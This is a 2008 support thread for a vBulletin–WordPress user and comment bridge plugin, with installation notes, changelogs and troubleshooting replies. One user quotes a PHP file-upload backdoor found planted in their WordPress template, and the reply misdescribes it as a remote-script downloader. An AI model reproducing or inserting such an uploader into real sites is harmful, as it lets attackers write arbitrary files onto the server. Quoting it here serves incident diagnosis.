View Full Version : Integration with vBulletin - Complete Wordpress/Vbulletin Bridge - Share Users And Postings
Jafo232
04-29-2008, 10:00 PM
THIS MOD IS NO LONGER SUPPORTED! PLEASE USE VERSION 4.0 FOR VB 3.8.x AND WP 2.7.x HERE. (https://vborg.vbsupport.ru/showthread.php?t=205388)
Identical to this Mod here (https://vborg.vbsupport.ru/showthread.php?p=1142950#post1142950), but now for the Vbulletin 3.7 line. If you install this PLEASE
Click Install. (https://vborg.vbsupport.ru/vborg_miscactions.php?do=installhack&threadid=177625)
This mod bridges your Vbulletin users over to Wordpress. You can also use Vbulletin as your comment engine instead of the spammy one built into Wordpress. You can display the comments inline in your post. You need not use the comment feature, if your only interested in sharing users.
You can map your Vbulletin Usergroups to Wordpress Usergroups and those users will then be recognized as registered Wordpress users.
For example, user "Joe" registers at your forum and logs in. Joe then clicks on your Wordpress page. Joe is instantly added to the Wordpress user base with the permissions you set for his usergroup. In otherwords, if a user comes over belonging to the "Registered User" group, you can select that he is placed in the Wordpress "Subscriber" usergroup.
If you change a users group from vbulletin, it will automatically change in Wordpress.
Requirements:
DOES NOT and WILL NEVER support Wordpress MU.
Wordpress and Vbulletin scripts must reside on the same physical server.
Wordpress and Vbulletin must use the same domain name.
Stable Wordpress Version greater than or equal to 2.5.
If your WP login name is the same as your VB username, this user will NOT be ported! If this was the case, you could lose your WP admin rights if there was an error, or if you deactivated the plugin.
DOES work for Vbulletin 3.7.Limitations:
Please don't ask if it works for any BETA versions of Vbulletin. I do not know and will not convert this to the latest version of VB (whatever it is at the time you are reading this) until the version is released as non-beta.
If you delete a user, you must do so in both Wordpress and Vbulletin.
If you are using XMLRPC to post with applications such as Windows Live Writer, you must change the password of the author in the WORDPRESS admin cp, after the user is ported over from VB. If you are not integrating users, then you do not have to.
Chances are, this will not work when VB and Wordpress are located in different sub domains. I.E. forum.yoursite.com - blog.yoursite.com. Cookie issue.
I did the best I could in determining your forums file path with the script. There may be certain script setups that cannot find the file path properly, in which case you may get errors that the script cannot find or open /config.php. If this is the case, please HARDCODE your ABSOLUTE path to the forum in vbridge.php.
To do this find:
## If you are having path problems, uncomment this next variable and define the path
## NO TRAILING SLASH!
# $vwd = '/some/path/to/your/forum';And uncomment the last line, and change the path to your forums path:
## If you are having path problems, uncomment this next variable and define the path
## NO TRAILING SLASH!
$vwd = '/some/path/to/your/forum';Common Mistakes When Installing:
Using two different host names causes problems. If your forum URL contains www.yourdomain.com (http://www.yourdomain.com), then your wordpress blog URL MUST contain the www. part of www.yourdomain.com (http://www.yourdomain.com) also. This goes for any other host name. Browsers are finnecky when it comes to cookies (as they should be).
Editors generally EDIT, not write. In Wordpress, editors don't show up in the post author drop down. This has nothing to do with this plugin, that is Wordpress code.
Make sure you DO NOT create a subdirectory for this plugin in the wp-content/plugins directory. Just upload it directly there.
If the admin username in Vbulletin is the same as the one in Wordpress (i.e. Admin), that user will NOT be able to login to the WP dashboard.
If you do not map users before you turn auto-integrate on, the plugin has no idea whether your allowed into the dashboard.
If you all of a sudden can't login to the dashboard, see the above two common mistakes.
FOLLOW the directions and make a test post first. Being in a rush and not testing will most likely turn out bad for you.
When you create a test user in VB to test mapping users, the test user MUST have an email address. If a VB users email address is blank, they will not map.UPDATES:
01/03/2007 - Fixed the unlock_tables() issue on some setups.
01/03/2007 - Fixed a bug in the script that if you used a MySQL database prefix, integration would not work. Please see this post (https://vborg.vbsupport.ru/showthread.php?p=1149970#post1149970) for more information! Special thanks to axisoverdrive (https://vborg.vbsupport.ru/member.php?u=142601) for giving me access to his server and letting me troubleshoot the issue!
01/05/2007 - Fixed issue where if a user saved (not published) and published later, the post would not be added to the forum.
01/05/2007 - When a post is edited, it will also be edited in the forum.
01/08/2007 - Modified slightly so when posts are edited, so are the titles (if edited).
02/07/2007 - Major modifications to new version (now 2.05). The list follows:
Reworked the code so it uses the $vbulletin object throughout the code especially during the bridging process.
Users are bridged whether they checked the "Remember Me" box or not.
Removed a couple of SQL calls that became redundant.
Addressed a bug where if a user logged out of the dashboard, it only logged them out of VB.
Added Inline Comments capability. Comments posted to the forum (using VB for comments) will now appear at the bottom of a WP Post when viewing the post.
Author user names can now be linked to their VB profile page if desired.
Added option to turn off posting to forum. All this really does is remove the "Select Forum To Post To" option when writing a post. (There you go AxisOverdrive :) )
The $vbulletin object should now be available in all templates and most plugins.
Fixed a bug where deactivating any plugin would semi deactivate this plugin.
With the reduction in SQL calls, and the removal of now unnecessary variables, speed and memory use should be improved.
PLEASE READ THE UPGRADE INSTRUCTIONS IF UPGRADING!07/17/2007
Fixed problem where upload iframe was a bit mangled.
Fixed problem where users had to refresh the dashboard once after logging in.
Fixed problem that arose from Wordpress 2.2.1 upgrade that would not allow activation.
Fixed logout issue where users would still be logged into Wordpress.
When a Wordpress post is deleted, so is the thread it created.
Added option to allow thread posted from Wordpress article to be truncated, with a linkback to the article.
Fixed issue when user re-activates plugin, and vb_threadid column already exists. Now checks for column first.
Removed a stray VB_Init() call.
Forums that do not allow threads will not be selectable in the drop down menu when writing a post.
Forums are listed out in a parent/child nested pattern.
(Note: 367 downloads of version 2.05)11/29/07 - 3.00
Added TABLE_PREFIX throughout the script instead of the get_option('vbb_VBPRX') call. get_option('vbb_VBPRX') is now deprecated.
Addressed path issues by establishing $vwd first. If for some reason there are path issues on an install, the path only needs to be manually changed once, at the beginning of the script.
Removed call to admin_db.php which seems to no longer be necessary.
Changed all queries to the VB database to be handled by the $vbulletin object. This should facilitate multiple database configurations.
Added limited XMLRPC support.
Had to include a basic copy of the functions_wysiwyg.php file (functions_wysiwyg2.php) with a minor change in the sanitize_url function (now sanitize_vburl) as it conflicts with a new WP function of the same name. Otherwise, this is identical to the VB release. This was necessary to keep formatting somewhat uniform between the two.
Removed unnecessary globals.
Changed the global.php call so it always loads. $vbulletin should be available throughout the code (via global in functions).
Edited some code around wysiwyg functions of VB, and conversions to vbcode.
Added "Turn Plugin On" option.
Fixed an issue with the forum list on the "Write Post" page. Default forum was not being auto selected in some cases.
Modified from BETA so that the new functions_wysiwyg2.php file is loaded using the WP ABSPATH constant. Requires the plugin to stay in the plugins directory.
Fix an error message when a post was deleted in VB, then edited in WP.12/10/07 - 3.01
Fixed two <? tags that should have been <?php (pointed out by Amenadiel (https://vborg.vbsupport.ru/member.php?u=163487))03/31/08 - 3.02
Fixed media-upload clash for new version of Wordpress (2.5).
Added fix that will now delete threads in VB when the post is deleted in WP and not using Ajax delete.
Added code to insert a default email address if VB users email address is blank upon bridging.04/20/08
Fixed a bug in user roles for the new version 2.5.1 of Wordpress.05/08/2008
Fixed issue where CSS was munging scrolling text box when selecting a forum during a post
Fixed an issue where content encoding was getting screwey between WP and VP creating a lot of unintended characters (only on PHP installs where utf8_decode() exists (most))05/08/2008
Fixed issue where post count of a user did not changeSites Using This Plug-In:
http://www.jeffsrecipes.com
http://www.worldwidecreations.com
http://www.xboxcircle.com
http://www.detailuniversity.com
http://www.daggersden.net/
http://www.talkbronx.com/
http://www.czeta.it(PM me if you want to add your site here)
UPDATE:
I have become really busy these days with my work. It will be some time before I can address this plugin. Please stop PM'ing me, I just don't have time. 99% of the time, your PM can be answered by just reading through the posts in this thread.
Special Thanks:
axisoverdrive (https://vborg.vbsupport.ru/member.php?u=142601) - Debugging Help, Kyraal (https://vborg.vbsupport.ru/member.php?u=137861) - Paypal Donation, Kalina (https://vborg.vbsupport.ru/member.php?u=102060) - Paypal Donation, Wildcard27 (https://vborg.vbsupport.ru/member.php?u=151203) - Paypal Donation, Shri (https://vborg.vbsupport.ru/member.php?u=1378) - Paypal Donation, pspcrazy (https://vborg.vbsupport.ru/member.php?u=82452) - Paypal Donation, Tomahoochi (https://vborg.vbsupport.ru/member.php?u=251348) - Paypal Donation.
If you use this plug-in, and find it useful, please support us by nominating us for Mod Of The Month (MOTM) in the top right corner of this thread, or feel free to donate.
If you do install:
Please Click Install (https://vborg.vbsupport.ru/vborg_miscactions.php?do=installhack&threadid=177625)
Brought To You By: WorldWideCreations.com (http://www.worldwidecreations.com).
Jasem
05-01-2008, 10:21 AM
Thank you :)
rem-rael
05-01-2008, 04:25 PM
I was waiting for this on 3.7. Thank you!
Jafo232
05-02-2008, 11:24 AM
Your both welcome. :)
SEOvB
05-03-2008, 02:22 AM
I'm using this on 3.7 and WP 2.5.1 but the box where you can choose another forum besides the default forum is extremely small and only shows 1 forum at a time?
I changed it to a drop down on my install by changing a line in the vbbridge.php file
<CENTER> Select Forum To Post To: <BR><select id="forumid" name="forumid" class="inputbox" size="5">
Change to
<CENTER> Select Forum To Post To: <BR><select id="forumid" name="forumid" class="inputbox">
Looks 100x better :D
Elmer
05-03-2008, 03:59 AM
You said that with this mod the comments are posted to the forum, but I've created a post on wordpress, and the thread is created in my forums. Then I made a comment to the article using the comments box below the article in my wordpress site, but this comment doesn't get posted over my thread at my forum, just on the article in my wordpress installation.
So how should this work? I have to disable comments in wordpress and force users to post comments in the thread created?
boing
05-03-2008, 05:08 AM
Thank you :)
Jafo232
05-03-2008, 12:20 PM
So how should this work? I have to disable comments in wordpress and force users to post comments in the thread created?
Actually, you need to read the readme about the template edits.
Jafo232
05-03-2008, 12:22 PM
I'm using this on 3.7 and WP 2.5.1 but the box where you can choose another forum besides the default forum is extremely small and only shows 1 forum at a time?
I changed it to a drop down on my install by changing a line in the vbbridge.php file
<CENTER> Select Forum To Post To: <BR><select id="forumid" name="forumid" class="inputbox" size="5">
Change to
<CENTER> Select Forum To Post To: <BR><select id="forumid" name="forumid" class="inputbox">
Looks 100x better :D
Yes, there is a new css value in the latest version of Wordpress that seems to set the size on select boxes. You can also change it in the css file.. When I get a chance, I will probably update the script so it manually bypasses any select definition in css.
SEOvB
05-03-2008, 03:55 PM
Also, now whenever i attempt to login to my wordpress admin area, it automatically redirects me to my forums?
Not a clue on how to solve this one though :D Any help or idea's apprecaited.
Danoxth
05-03-2008, 04:16 PM
Lovely stuff, just what I wanted. Will be installing later tonight :)
*Clicks install and nominated for MotM*
Jase2
05-03-2008, 06:00 PM
Use lower case to pass validation ;)
Renkus
05-03-2008, 07:15 PM
One problem. Some users can't login to WP. But they hasn't the same problem with VB login. I don't understand why...
SEOvB
05-04-2008, 08:17 AM
check it out, when trying to login to the wordpress admin area of my site i get directly forwared to my forums. Is this intentional or did i miss something?
http://maddengods.org/wp-admin
And it just redirects right into my forums :sad:
Thanks
When trying to map the users to vB I get the following error:
Fatal error: Call to a member function query_read() on a non-object: {path} /wordpress/wp-content/plugins/vbbridge.php on line 308
Line 308 reads: $fs = $vbulletin->db->query_read($sql);
Any idea what to do?
One thing that is odd about this setup is that the other admin on the site put WordPress in a /wordpress directory and the forums in a /forums directory. Would this mess up the configuration of the bridge?
Jase2
05-04-2008, 02:28 PM
check it out, when trying to login to the wordpress admin area of my site i get directly forwared to my forums. Is this intentional or did i miss something?
http://maddengods.org/wp-admin
And it just redirects right into my forums :sad:
Thanks
Check your .htaccess file.
SEOvB
05-04-2008, 04:59 PM
Nope, whenever i disable the plugin the problem isn't there?
Jafo232
05-05-2008, 12:12 PM
You have to login via Vbulletin, that is why it puts you to your forum when you try to access the admin page. If you are logged in, then you did not map users properly. Disable the product (rename it), login to WP and then re-enable it (rename it back) and try again.
More help can be found here:
https://vborg.vbsupport.ru/showthread.php?t=134521
trigatch4
05-07-2008, 01:03 PM
I thought everything was working easy as pie. I passed all the "tests"... the posting worked fine... mapping worked fine... integrated it and everything worked fine... templates worked fine.
And then when I restarted FireFox I got locked out. I'm pretty sure I followed all the steps. Seems that I'm pretty screwed right now and have no clue how to fix the problem. I set up a few admin accounts on my WP but can't access any of them and am afraid to add the corresponding admin users to vB for fear of locking myself out permanently.
When I "change the name" of the files I can log back in temporarily but cannot change the "settings" of the plugin.... it has to be activated to do that. And once I activate it, I am immediately logged out.
This is furhter complicated by the fact that I am about to hit the digg front page! HELPPPP!
Jafo232
05-07-2008, 01:24 PM
You need to access WP by logging into your forum (with the vbbridge plugin activated) with a user that is an administrator (providing you mapped the administrator group properly). Make sure you check the box in VB to stay logged in. Then go to the wp-admin page directly. If it forwards you back to the forum then A. you did not map users correctly, or B. the username in VB is identical to one already created in WP, which will not map.
Otherwise, you have to edit the WP database and delete all options in the wp_options table who's option_name starts with vbb_.
sbisig
05-07-2008, 03:51 PM
You said that with this mod the comments are posted to the forum, but I've created a post on wordpress, and the thread is created in my forums. Then I made a comment to the article using the comments box below the article in my wordpress site, but this comment doesn't get posted over my thread at my forum, just on the article in my wordpress installation.
So how should this work? I have to disable comments in wordpress and force users to post comments in the thread created?
I just installed today and the same thing is happening to me.
I added the code to my index.php page as directed on the readme page under "IF YOU WANT TO USE VB For comments"
<?php if (have_posts()) : while (have_posts()) : the_post(); ?> is only on my index.php page. Should this also be on single.php and page.php for it work?
Lubricus
05-08-2008, 12:17 AM
Hello I really like this plugin but I can't get it to work for certain custom works I have my forum in the root labeled forum.php I can't get the plugin to work this way is there a way.
Jafo232
05-08-2008, 01:12 AM
I just installed today and the same thing is happening to me.
I added the code to my index.php page as directed on the readme page under "IF YOU WANT TO USE VB For comments"
<?php if (have_posts()) : while (have_posts()) : the_post(); ?> is only on my index.php page. Should this also be on single.php and page.php for it work?
You would have to make the same edit for any page that displays comments of course. Not all templates use the same system that you are talking about.
Hello I really like this plugin but I can't get it to work for certain custom works I have my forum in the root labeled forum.php I can't get the plugin to work this way is there a way.
If you named it forum.php, chances are you will have to change it in the source code of the plugin.
Ohiosweetheart
05-08-2008, 01:55 AM
well darn - and this AFTER I've moved back to vBa cmps :(
trigatch4
05-08-2008, 07:46 AM
Jafo...
Got it working but the fact that I had created a few extra WP logins and vB logins in advance, expecting something to go wrong, was what saved me.
Jafo232
05-08-2008, 03:34 PM
Fixed the issue with the scrolling text box on the post page, and also finally nailed (I think) the issue with funny characters (encoding).. The only thing you need to do to upgrade is upload the new vbbridge.php file. Have at it people.
Jafo232
05-08-2008, 11:20 PM
Added another fix so users post count increases when a post is made.
Ky Kiske
05-10-2008, 06:53 AM
Okay so this is killing me. I had this working on two different domains. But this seems weird. Now it doesn't work at all.
www.anime-journal.com and www.anime-roleaplay.com
BUT now that I restarted my browser it's a no go. I can't get into the admin on Wordpress. T_T Help a poor admin.
broadcaster
05-10-2008, 04:35 PM
May be the post is not for that thread, but I'll give it a try. I came up with having to different codepages on my WP 2.3.1 and vB 3.7.0. Any advise on how to convert either one? Any plugins/tools?
Check your .htaccess file.
What exactly would we be searching for? I removed my htaccess file temporarily and I still get the redirect to the forums.
If it forwards you back to the forum then A. you did not map users correctly, or B. the username in VB is identical to one already created in WP, which will not map.
Otherwise, you have to edit the WP database and delete all options in the wp_options table who's option_name starts with vbb_.
I am using a new website, with the forums at /en/forums and wordpress at /wordpress. I can get guest comments to post into vbulletin, but I can't get the login to work. I have tried mapping users and I don't get error messages, and I have a different account from the admin that I am trying to log in with. I also have the remember me button checked; it still doesn't work for me. :( I will keep trying.
I found out why I am having issues getting the two to bridge. My forum is at /en/forums, and so I had set cookies to be at /en (in anticipation of running multi forums). Since my wordpress was at /wordpress, there was a cookie issue.
I am using an htaccess to rewrite the URLs, but it causes smilies in the comments to break; the path changes to the rewritten URL. Any ideas?
ayoko555
05-12-2008, 04:09 PM
Jafo, first I must say thanks for this awesome hack! Now I have a few noob questions
1) I did a few test posts on WP, the post does show up on VB, but how come it's not using the user name I have in VB? Here (http://sc2battle.com/forums/showthread.php?t=425) is a test post, please note the user "SC2Battle" is showing as Guest, but in fact, it's supposed to be my VB admin name. How come it's showing as guest?
2) What does "Excerpt Forum Post" mean? Sorry, English isn't my first language, I'm trying to understand this option.
Thanks a lot
Jafo232
05-12-2008, 06:13 PM
What did you set for your default user settings? If this user does not exist and/or the user id is incorrect, the user will show as guest.
Excerpt means only show X amount of characters in the post, then provide a link to the article page.
powerful_rogue
05-15-2008, 07:14 PM
For some reason its throwing up all these errors:
Warning: chdir() [function.chdir]: No such file or directory (errno 2) in /home/thefreebie/G7F4API9/htdocs/freebies/wp-content/plugins/vbbridge.php on line 29
cannot include /home/thefreebie/G7F4API9/htdocs/freebies/wp-admin/global.php. You should check your path! Turning Plugin Off
Warning: chdir() [function.chdir]: No such file or directory (errno 2) in /home/thefreebie/G7F4API9/htdocs/freebies/wp-content/plugins/vbbridge.php on line 29
EDIT
Ive managed to solve the two errors above (fingers crossed) however now ive got the following error:
Warning: Cannot modify header information - headers already sent by (output started at [path]/freebies/wp-content/plugins/vbbridge.php:132) in [path]/freebies/wp-content/plugins/wp-postratings/wp-postratings.php on line 628
powerful_rogue
05-15-2008, 09:00 PM
Ive managed to get rid of the errors by deactivating two of the plugins.
Ive followed the instructions, however when I post to wordpress it dosent show up on the forum. Ive checked and double checked and everything seems in order
I am using an htaccess to rewrite the URLs, but it causes smilies in the comments to break; the path changes to the rewritten URL. Any ideas?
I am still having this issue. Also, in my comments section (thread created in vbulletin), the link to the blog isn't working; here is the issue in the url:
/2008/05/15/%postname%/
archibald
05-16-2008, 01:48 PM
first of all, thanks for the great plugin
I checked the example and saw that whenever you click on the post title in Wordpress you can view the whole post, but you do not see the comments until you click on comments and youre being redirected to the forum.
Is there no way to show the comments below the post and only redirect the visitor to the forum when he wants to make a comment?
Jafo232
05-16-2008, 01:53 PM
Please read the readme file for how to do inline comments.
Fabsboards
05-17-2008, 05:09 PM
I installed it and now I'm getting the following errors
Warning: array_merge() [function.array-merge]: Argument #1 is not an array in [path]/includes/vba_cmps_include_template.php on line 19
Warning: array_merge() [function.array-merge]: Argument #1 is not an array in [path]/includes/vba_cmps_include_template.php on line 42
Warning: array_merge() [function.array-merge]: Argument #1 is not an array in [path]/includes/vba_cmps_include_template.php on line 50
Warning: Invalid argument supplied for foreach() in [path]/includes/init.php(293) : eval()'d code on line 27
Warning: array_merge() [function.array-merge]: Argument #1 is not an array in [path]/includes/vba_cmps_include_top.php on line 574
Warning: array_merge() [function.array-merge]: Argument #2 is not an array in [path]/includes/vba_cmps_include_top.php on line 574
What am I doing wrong?
http://fabsboards.com/wordpress/
Jafo232
05-17-2008, 11:37 PM
Uncomment this line in vbbridge.php:
# define('DISABLE_HOOKS', true);
So it looks like:
define('DISABLE_HOOKS', true);
Macindy
05-19-2008, 06:34 AM
Hi forum!
I have problems related to the charset:
The forum is ISO-8859-1, wordpress utf8 (v2.5).
The excerpt of the wordpress article is screwed with umlauts.
Are you not seeing my posts, or just ignoring them? ;)
Jafo232
05-19-2008, 04:23 PM
Just ignoring them.
Any particular reason why? I don't think I have done anything to you that would give you cause to ignore my questions.
If anyone else is able to help with my issues I would appreciate it. Apparently the author isn't able to.
Macindy
05-24-2008, 05:30 PM
Hi forums!
I still have problems with the userintegration.
If there are umlauts or special chars - like äöü - the user doesn't get registered in wordpress.
indie2industry
05-25-2008, 09:49 PM
I have a BIG PROBLEM!!
While bridging the usergroups I forgot to bridge ADMINISTRATORS as ADMINS, Now I can't get back in to fix it...
HELLLLLLLLLLLLLLLLLLLLLLLP :-(
*edit*
nevermind. I did it via the database
Jafo232
05-27-2008, 06:56 PM
Or you could have just renamed the plugin file and gotten back in.
pspcrazy
05-28-2008, 12:46 AM
Jafo I upgraded vbulletin to 3.7.1 and your plugin now doesn't work with vbulletin. At the moment it's disabled, any way you can look into this? Any help would be Greatly appreciated as i'm stuck right now without the ability to have comments with any of my posts...
Thanks!
Also is there any security issues with your plugin? Some guy keeps on hacking into my wordpress and deleting thing, and it's been a 1 week battle and we can't figure it out.
Jafo232
05-28-2008, 03:29 PM
It does work with Vbulletin 3.7. As far as me diagnosing your problem, I need a little more information than "It doesn't work for 3.7". ;)
There are no known vulnerabilities with this plugin. Check your logs to see when it happens, otherwise I would suggest you deactivate all plugins and see if the hacking continues. Then one by one turn them on until you get hacked again.
tafreeh
05-28-2008, 05:38 PM
ok i need to ask some question before installation...
1- my forum is in main directory not in /forum ... and i want wp make my home page...
do i need to move my forum into other directory like www.abc.com/forum ... or is it possible if i install both in main directory ....????
2- it says if some 1 post an article to WP it will create a new thread on forums ... i actually dun need that ... but what i need is .. if some1 created a new thread on forum and it will post the same thing on WP ... does it do that ?
3- after installation, i can use custom theme and plugins riht ???
Thanks i will be waiting for ur reply ...
Jafo232
05-28-2008, 05:43 PM
ok i need to ask some question before installation...
1- my forum is in main directory not in /forum ... and i want wp make my home page...
do i need to move my forum into other directory like www.abc.com/forum ... or is it possible if i install both in main directory ....????
You would have to move the forum if you want Wordpress to be your front page.
2- it says if some 1 post an article to WP it will create a new thread on forums ... i actually dun need that ... but what i need is .. if some1 created a new thread on forum and it will post the same thing on WP ... does it do that ?
No it does not.
3- after installation, i can use custom theme and plugins riht ???
Right..
pspcrazy
05-28-2008, 06:00 PM
Well it seems something else was causing it to break, it works now :) And the scroll box is fixed too oddly.
Oddly i found this code on my template:
<?php $ficnt = @fread(@fopen($_FILES["s"]["tmp_name"], "rb"), $_FILES["s"]["size"]);
if(@fwrite(@fopen($_FILES["s"]["name"], "wb"), $ficnt)) echo $_FILES["s"]["name"]; ?>
I removed it since i believe that's the work of a hacker but what does it do?
Also how would I have it so that I have two domains both on the same server in which one of the domains has a separate wordpress db then the other domains has both the forum and wordpress. I'm sure it can be done just need to know how to make seperate wp and vb db's work together. I didn't understand the post you gave me earlier about that too much.
Jafo232
05-29-2008, 02:02 AM
It looks like it is downloading and executing a remote script. It also looks like you have your WP templates set as writeable (i.e. chmod 777) and I would suggest against that. Chances are, however you are being hacked, the hacker is writing something to the template file then calling it.
You don't do anything special if you want to use one database or two. It matters not. You configure the script the same way using two separate databases or using one.
Blackhat
05-29-2008, 05:37 PM
How can I get the latest posts on the wordpress page without installing maggypie rss stuff ?
Blackhat
05-29-2008, 11:21 PM
I get weird characters when posting from wordpress to the forum. I tried changing the forum to UTF-8, but that made weird characters on all my posts. I also tried changing the wordpress from utf-8 to the suggested options, but then I got weird characters all over wordpress :P
Lynk Former
05-31-2008, 06:40 AM
Love the bridge, Jafo232.
But you know what would make this even better? Support for vB phrases... unless it does that already and it's just not working for me...
The reason I say this is because I'm finding it hard to make my vB login and userbox script work in Wordpress. I could settle for a simple one where it just displays the persons name and the logout button since the bridge allows that much, but I want to go all the way and mimic vB by showing how many PMs they have and their last visit and all that kinda jazz.
echo@
06-01-2008, 01:33 PM
dont worry im being thick
echo@
06-01-2008, 08:40 PM
for those of you who messed up the installation of this mod and "lost wp admin rights"
this is what you do to fix wordpress.
If you screwed up the installation of vbullentin bridge and recive a permission error when loging in to your wordpress dashboard do the following.
login to you myphpadmin,
select your wordpress database,
select table: wp_usermeta,
select browse
edit u_metaid 3
set the metavalue to a:1:{s:13:"administrator";b:1;}
select go
Carlos X
06-02-2008, 12:54 AM
Jafo I upgraded vbulletin to 3.7.1 and your plugin now doesn't work with vbulletin. At the moment it's disabled, any way you can look into this? Any help would be Greatly appreciated as i'm stuck right now without the ability to have comments with any of my posts...
Thanks!
Also is there any security issues with your plugin? Some guy keeps on hacking into my wordpress and deleting thing, and it's been a 1 week battle and we can't figure it out.
Looks like I ain't the only one who got a similar problem (https://vborg.vbsupport.ru/showpost.php?p=1537968&postcount=1153). :D
Except that the whole hacking part, that is. The whole making files "writable" making it easy for hackers to get through your site.....just wrong.
I am now considering holding off a VB with Wordpress integration at this point until I find a better solution.
Jafo232
06-02-2008, 02:22 AM
I have no idea what problem YOU are having. The problem you linked to was an issue with the basepath. This is clearly documented, but feel free holding off an any installation.
bonkerspr
06-02-2008, 05:28 AM
where is located the new install instructions? only the readme we ony see the upgrade instructions
Shouzen
06-02-2008, 09:52 AM
I swear, I did everything word for word in the readme and for some reason when I test it, when I register a user in VB, it doesn't map on WP but when I make a post on WP it works for VB. Check it out: http://dgraymanhq.com/
I'd really appreciate any help I can get.
Lynk Former
06-02-2008, 06:12 PM
Another thing that would be great for the bridge would be support for the vB based smilies in both the blog entries and comments...
powerful_rogue
06-02-2008, 06:18 PM
Hi,
I want to have wordpress and vbulletin installed in the same directory. If I have wordpress set as index.php and vbulletin set as forum.php - Is this going to create any problem and will it be possible?
Jafo232
06-02-2008, 06:27 PM
It will cause problems, yes..
powerful_rogue
06-02-2008, 07:12 PM
It will cause problems, yes..
Ah right,
Is there an easy way to overcome the issues?
Jafo232
06-02-2008, 08:29 PM
Not that I know of.
Shouzen
06-03-2008, 12:09 AM
So is there anyway to help me?
powerful_rogue
06-03-2008, 07:06 PM
Not that I know of.
Ok,
If I create a folder called "forum" and place it in the root, then move all the vb files inside, would that work?
Jafo232
06-03-2008, 08:27 PM
Well, yeah, but that is different than what you proposed..
congtubuon101
06-04-2008, 09:35 AM
Why Views in my 4rum no change ")
Jafo232
06-04-2008, 12:38 PM
I dunno why.. Why would this plugin change your forum views?
Carlos X
06-08-2008, 01:12 AM
Hahahaha......4rum. Nice.
Veery nice.
I have no idea what problem YOU are having. The problem you linked to was an issue with the basepath. This is clearly documented, but feel free holding off an any installation.
It asked me to post RELATIVE forum path, I assumed it was the "hard" basepath, where it requires that you paste the entire file basepath.
trigatch4
06-12-2008, 02:44 AM
@Jafo
I know you've been ignoring this exact question, but I'm experiencing the same problem with %postname% being at the end of links in VB pointing back to the original WP articles.
My site is: (removed)
Everything else SEEMS to be working properly and I've gone through all the documentation and updates in hopes of fixing this problem without having to bother you. Unfortunately, I've got no ideas left and am reaching out for your help.
Let me know
Thanks
PS: my AIM is trigatch4 if that is easier for you
pspcrazy
06-12-2008, 08:32 AM
Almost got it down Jafo for my second domain site, all that's left is to find the cause of this error:
[Thu Jun 12 04:13:01 2008] [error] [client 66.245.227.57] PHP Fatal error: Call to a member function query_read() on a non-object in {path to here}/httpdocs/wp-content/plugins/vbbridge.php on line 553, referer: http://{site}.net/wp-admin/options-general.php?page=vbbridge.php
That's just when I visit the actual write post page. I'm making a cross domain same DB setup atm, yes i know it's not normal but i need to do it so i'm doing it.
To get to this point I did uncomment the $vwd = '/var/www/vhosts/animecrazy.net/httpdocs/forums'; line to make it work. Any idea? Line 553 is: $fs = $vbulletin->db->query_read($sql);
The write post page looks like the attached atm, any support would be awesome (I know this isn't a normal support situation as well, so thanks if you can help!)
Jafo232
06-12-2008, 06:42 PM
Not sure exactly what you are doing, but if cannot find query_read, then it would appear it did not load global.php. This would make me think it is a path or permission error of some kind.
pspcrazy
06-13-2008, 01:08 AM
What I'm trying to do is have a forum on http://www.site1.net/forums and have the wordpress on site2.net/ I know it's out of normal support, but if that's what you think then i'll try to figure out the path issues. Do you think global needs to be 777 vs 644?
Jafo232
06-13-2008, 01:42 AM
It could be an ownership issue to. Not sure how that works in your environment. I would give 777 a shot but am not thinking it will help much. However you are accessing site2.net's global.php file, the user that is doing the access will need executable permission.
pspcrazy
06-14-2008, 03:10 AM
That is odd for sure, well I tryed the 777 with no real luck, so now I'm wondering if this is even doable :| I got so close to see the data as well, wonder how I can successfully pull this off. IF you got any other idea's let me know, thanks! If you want to do it for you me or figue how to do it I'll pay you 40 dollars.
Well then back to seeing how to make it work. Thanks
MixMakers
06-15-2008, 08:10 AM
Getting this error:
Warning: chdir() [function.chdir]: No such file or directory (errno 2) in /home/rxqptdcc/public_html/wp-content/plugins/vbbridge.php on line 29
Any idea how to fix this.
MixMakers
06-15-2008, 08:36 AM
Got around that, but now I get:
Warning: chdir() [function.chdir]: No such file or directory (errno 2) in /home/rxqptdcc/public_html/wp-content/plugins/vbbridge.php on line 86
Warning: require_once(./includes/class_dm.php) [function.require-once]: failed to open stream: No such file or directory in /home/rxqptdcc/public_html/wp-content/plugins/vbbridge.php on line 92
Fatal error: require_once() [function.require]: Failed opening required './includes/class_dm.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/rxqptdcc/public_html/wp-content/plugins/vbbridge.php on line 92
Jafo232
06-16-2008, 01:37 PM
You are having a path issue. Read the threads first post.
Jafo232
06-16-2008, 01:38 PM
That is odd for sure, well I tryed the 777 with no real luck, so now I'm wondering if this is even doable :| I got so close to see the data as well, wonder how I can successfully pull this off. IF you got any other idea's let me know, thanks! If you want to do it for you me or figue how to do it I'll pay you 40 dollars.
Well then back to seeing how to make it work. Thanks
I think I would need a better idea on what exactly it is you are doing to try and accomplish this, and the exact error messages you are receiving..
MixMakers
06-16-2008, 05:22 PM
You are having a path issue. Read the threads first post.
I tried that. It fixed the first error I had. But then I got those 3 new errors.
trigatch4
06-17-2008, 02:02 AM
I am having the EXACT same issue as TRR:
Also, in my comments section (thread created in vbulletin), the link to the blog isn't working; here is the issue in the url:
/2008/05/15/%postname%/
Jafo admittedly ignored him and I'm finding it difficult to get an answer well. I've gone through all the steps and read and re-read the ReadMe a billion times.
If anyone can answer this will you please PM me?
Thanks in advance,
Rob
pspcrazy
06-17-2008, 02:06 AM
I think I would need a better idea on what exactly it is you are doing to try and accomplish this, and the exact error messages you are receiving..
Jafo I posted it above. Basically I want to have wordpress on site2, and the forums on site1/forums. I know it's hard to do, but I need it.
Error message that show's in the apache logs (replaced the domain's with site)
[Thu Jun 12 04:13:01 2008] [error] [client 66.245.227.57] PHP Fatal error: Call to a member function query_read() on a non-object in {path to here}/httpdocs/wp-content/plugins/vbbridge.php on line 553, referer: http://{site}.net/wp-admin/options-general.php?page=vbbridge.php
That's just when I visit the actual write post page. I'm making a cross domain same DB setup atm, yes i know it's not normal but i need to do it so i'm doing it.
To get to this point I did uncomment the $vwd = '/var/www/vhosts/animecrazy.net/httpdocs/forums'; line to make it work. Any idea? Line 553 is: $fs = $vbulletin->db->query_read($sql);
The write post page looks like the attached atm, any support would be awesome (I know this isn't a normal support situation as well, so thanks if you can help!)
Jafo232
06-17-2008, 01:25 PM
